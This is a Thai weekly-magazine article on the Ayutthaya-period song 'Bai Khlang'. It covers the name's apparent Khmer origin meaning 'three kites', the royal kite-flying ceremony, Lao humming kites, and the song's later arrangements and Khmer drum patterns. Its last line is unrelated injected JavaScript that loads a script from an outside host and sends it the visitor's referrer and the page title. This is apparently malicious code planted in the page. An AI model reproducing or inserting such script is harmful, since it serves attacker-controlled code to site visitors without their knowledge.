มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 20 ธันวาคม 2556

 

          ประชากรอยุธยาพวกหนึ่งยุคต้นๆ เรียกตัวเองว่าคนไทย หรือไทย แต่ชาวต่างชาติเรียกรวมๆ ว่า ชาวสยาม จึงจัดเป็นไทยสยาม ลุ่มน้ำเจ้าพระยา

          ไทยสยามกลุ่มหลักเป็นลูกผสมระหว่างลาวกับเขมร (แล้วยังมีลูกผสมอื่นๆ ด้วย เช่น ลาวกับมอญ, ลาวกับมลายู, ลาวกับจีน ฯลฯ)

          เชื้อสายเขมร มาจากขอมละโว้ (ลพบุรี) ที่ขยายบ้านเมืองลงไปเป็นอยุธยา

          เชื้อสายลาว มาจากคนในรัฐสุพรรณภูมิ (ที่สุพรรณบุรี ซึ่งลงมาจากสองฝั่งโขง ตั้งแต่ราวหลัง พ.ศ. 1500) แล้วเคลื่อนย้ายครั้งใหญ่หลัง พ.ศ. 1900 เข้าไปเป็นอยุธยา

          ร่องรอยนี้ยังมีเหลือตกค้างในเพลงใบ้คลั่ง  ยุคอยุธยา

 

เพลงใบ้คลั่ง

          เพลงใบ้คลั่ง เป็นเพลงเก่าแก่มีมาแต่ครั้งกรุงเก่า

          คุณเสถียร ดวงจันทร์ทิพย์ (นักค้นคว้าเอกเทศทางเพลงดนตรีไทย) บอกให้ผมรู้ว่าเพลงใบ้คลั่งน่าจะได้ชื่อจากภาษาเขมร เป็นเพลงมี 4 ท่อน ทำนองมีสำเนียงเขมรปนลาวสลับกัน ท่อนแรกเขมร ท่อนสองลาว ท่อนสามเขมร ท่อนสี่ลาว

          ต่อจากนั้นผมสอบถามผู้รู้ภาษาเขมร แล้วได้ความว่าชื่อใบ้คลั่ง เพี้ยนจากภาษาเขมรว่า บี แขฺลง อ่านว่า เบย แคฺลง แปลว่า ว่าว 3 ตัว หรือสามว่าว

          อ. รุ่งโรจน์ ภิรมย์อนุกูล (มหาวิทยาลัยรามคำแหง) กับ อ. ณัฐพล จันทร์งาม (มหาวิทยาลัยศิลปากร) ตรวจสอบพจนานุกรมภาษาเขมร แล้วบอกเพิ่มเติมว่า

          บี เขมรอ่าน เบย แปลว่า สาม

          แขลฺง เขมรอ่าน แคฺลง แปลว่า ว่าว

 

เสียงว่าว 3 ตัว

          ชื่อเพลงใบ้คลั่ง เพี้ยนจากคำเขมรที่แปลว่าว่าว 3 ตัว หรือสามว่าว น่าจะหมายถึงเสียงอันไพเราะเพราะพริ้ง สอดประสานกลมกลืนจากว่าว 3 ตัว มี 3 เสียง

          เพลงนี้มีมาแล้วตั้งแต่ครั้งกรุงเก่า น่าจะเป็นครูเพลงในราชสำนักที่เคยได้ยินเสียงว่าวที่พระเจ้าแผ่นดินทรงไว้แล้วให้มหาดเล็กดูแลดังประสานเสียงกันคล้ายเพลงบรรเลงอยู่กลางฟ้าตลอดคืน

          ว่าวมีเสียง ครั้งกรุงเก่าเรียกว่าวหง่าว มีบอกไว้ในกาพย์ห่อโคลงนิราศธารโศก ของเจ้าฟ้ากุ้ง ว่า

          มฤคเศียรดลมาสกล้า                 ลมแรง

          ว่าวหง่าวพิธีแสดง                      แหล่งหล้า

          เรียกชื่อพิธีแคลง                        โดยที่

          สาวส่งขึ้นลอยฟ้า                        ร่ายร้องคนึงสาว

          หง่าว เป็นคำเลียนเสียงร้องมาไกลๆ ของสัตว์ (เช่น แมว บางทีเรียกแมวหง่าว) หรือเสียงที่เกิดจากลมพัดกระทบวัสดุบางๆ เช่น ใบไม้

          ในประเพณีลาว เรียกว่าวมีเสียงว่าว่าวสะนู เพราะมีคันสะนูติดที่หัวว่าว ขึงด้วยสายสะนูทำจากใบตาล หรือหวายเหลาเป็นแผ่นบางเฉียบ เมื่อส่งว่าวขึ้นฟ้ากระทบลมพัดก็มีเสียงดังวังเวงบนฟ้า

          สะนู เพี้ยนจาก ธนู หมายถึงเครื่องทำเสียงคล้ายธนู (อาวุธ) ใช้ติดไปกับหัวว่าวขนาดใหญ่ที่ชาวนาชาวไร่ในอีสานและลาวเล่นในฤดูลมว่าวราวเดือนอ้าย (หลังลอยกระทง ประมาณพฤศจิกายน-ธันวาคม)

          ว่าวสะนูในบางแห่งเรียก ว่าวอืด, ว่าวดุ๊ยดุ่ย, ฯลฯ เพราะเมื่อชักขึ้นฟ้าติดลมบนแล้วมีเสียงดังฟังเป็นอืดๆ หรือดุ๊ยดุ่ยๆ

 

พระราชพิธีชักว่าว

          ว่าว เป็นเครื่องมือการละเล่นในพิธีขอลมเพื่อพัดวีให้พืชพันธุ์สุกเร็วๆ จะได้เก็บเกี่ยว ขณะเดียวกันชุมชนในที่ลุ่มต่ำก็ขอลมพัดให้น้ำที่ท่วมข้าวไหลลดลงเร็วๆ ด้วย ชาวนาจะได้เกี่ยวข้าว

          พิธีขอลมของชาวบ้าน มีเดือนอ้าย โดยชักว่าวขึ้นฟ้า แล้วต่อมาราชสำนักยกย่องเป็นพระราชพิธีมีในเดือนอ้ายด้วย บอกไว้ในตำราพระราชพิธีเก่าครั้งกรุงศรีอยุธยา กำหนดว่าพระเจ้าแผ่นดินต้องเสด็จออกทำพิธีชักว่าวศักดิ์สิทธิ์เพื่อขอลมให้ราชอาณาจักรอุดมสมบูรณ์ ว่า

          “ให้ชีพ่อพราหมณ์เชิญพระอิศวร พระนารายณ์ มาตั้งยังที่ แล้วให้เจ้าพนักงานเตรียมว่าวมาเตรียมไว้ในโรงราชพิธี ครั้นได้ฤกษ์ดีให้ประโคมปี่พาทย์ฆ้องไชย เชิญเสด็จออกทรงชักว่าว พราหมณ์เจ้าพนักงานเอาว่าวถวายให้ทรงชักตามบุราณประเพณี เพื่อทรงพระเจริญแล”

          เรื่องนี้ตรงกับทวาทศมาสโคลงดั้นยุคต้นกรุงศรีอยุธยา บอกไว้ว่าในเดือนอ้าย “ฤดูดูว่าวคว้าง กลางหาว”

          ครั้นยุคปลายก็มีอยู่ในกาพย์ห่อโคลงนิราศธารโศก ของเจ้าฟ้ากุ้ง พรรณนาพิธีชักว่าวว่า

          เดือนอ้ายผายกรุงท้าว           พิธีว่าวกล่าวกลแสดง

          เดือนนี้พิธีแคลง                  กลุ้มท้องฟ้าคลาอรไกล

          ชื่อแคลงหรือแกลงเป็นภาษาเขมร แปลว่าว่าว มีอยู่ในพงศาวดารเมืองละแวก กล่าวถึงพระราชพิธีเดือนอ้าย (เดือนมิคสิร) ไว้ว่า “ให้เจ้าพนักงานแห่พระแกลง (ว่าว)………….พราหมณ์ปุโรหิตถวายพระแกลง (ว่าว) ให้ทรงบังเหิน (ชัก) ขึ้น”

          เมื่อชักว่าวขึ้นแล้วยังไม่เอาลงจนกว่าจะพ้นฤดูเก็บเกี่ยว ดังมีในบันทึกของลาลูแบร์ บอกว่าสมัยสมเด็จพระนารายณ์ฯ มี “ว่าวของสมเด็จพระเจ้ากรุงสยามปรากฏให้เห็นในท้องฟ้าทุกคืนตลอดระยะเวลา 2 เดือนของฤดูหนาว และทรงแต่งตั้งขุนนางให้คอยผลัดเปลี่ยนเวรถือสายป่านไว้”

          สถานที่ทรงว่าวอยู่บริเวณลานกว้างของสวนกระต่ายในวังหลวง (มีบอกไว้ในตำราหน้าที่ตำรวจ สมัยพระเจ้าท้ายสระ) ซึ่งอยู่หลังวิหารพระมงคลบพิตร และหลังวัดพระศรีสรรเพชญ์

          ว่าว ยังมีตำนานตอนพระร่วงเล่นว่าวเข้าหาพระธิดาเมืองหงสาวดี แล้วยังมีในบทละครเรื่องสุวรรณหงส์, แก้วหน้าม้า เป็นต้น

 

เพลงใบ้คลั่ง ยุคอยุธยา

          เพลงใบ้คลั่ง (อัตรา 2 ชั้น) เป็นเพลงเก่ายุคอยุธยา แล้วครูเพลงยุครัตนโกสินทร์เอามาดัดแปลงแต่งเพิ่มเติม

          จากนั้นใส่เนื้อร้องคัดจากขุนช้างขุนแผน (คนละสำนวนกับฉบับหอพระสมุดฯ) มีคำอธิบายอยู่ในสารานุกรมศัพท์ดนตรีไทย ฉบับราชบัณฑิตยสถาน (พิมพ์ครั้งแรก พ.ศ. 2536 หน้า 190) จะคัดมาดังนี้

          เพลงใบ้คลั่ง เถา

          เพลงใบ้คลั่ง อัตรา 2 ชั้นของเก่า ประเภทหน้าทับสองไม้ มี 4 ท่อน

          เดิมเรียกว่า เพลงใบ้คลั่งบางช้าง เป็นเพลงที่ครูหน่าย ครูดนตรีในรัชสมัยพระบาทสมเด็จพระนั่งเกล้าเจ้าอยู่หัว แต่งขึ้นพร้อมกับเพลงแขกมอญบางช้าง

          ต่อมาครูช้อย สุนทรวาทิน ได้แต่งขยายขึ้นเป็นอัตรา 3 ชั้น

          ส่วนชั้นเดียว นายมนตรี ตราโมท ได้แต่งขึ้นเป็น 3 ทาง คือสำหรับบรรเลงเป็นเพลงเถาทางหนึ่ง เป็นเพลงเร็วทางหนึ่ง และเป็นเพลงลูกหมดอีกทางหนึ่ง

 

หน้าทับเขมรในไทย

          หน้าทับเขมร หมายถึงจังหวะกลองโทน (บางทีเรียก กลองทับ) ที่ตีแบบเขมร

          คนไทยสยามในชุมชนหมู่บ้านยุคอยุธยาใช้ร้องรำทำเพลงในชีวิตประจำวัน ที่ต่อมาเรียก รำโทน

          ซึ่งเป็นอย่างเดียวกับโทนชาตรีในวงปี่พาทย์ชาตรี แล้วแพร่กระจายจากอยุธยาลงภาคใต้พร้อมโนราชาตรี เรียกหน้าทับตะลุงเมื่อใช้เล่นเชิดหนังตะลุง แล้วเป็นจังหวะตะลุงในปัจจุบัน

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;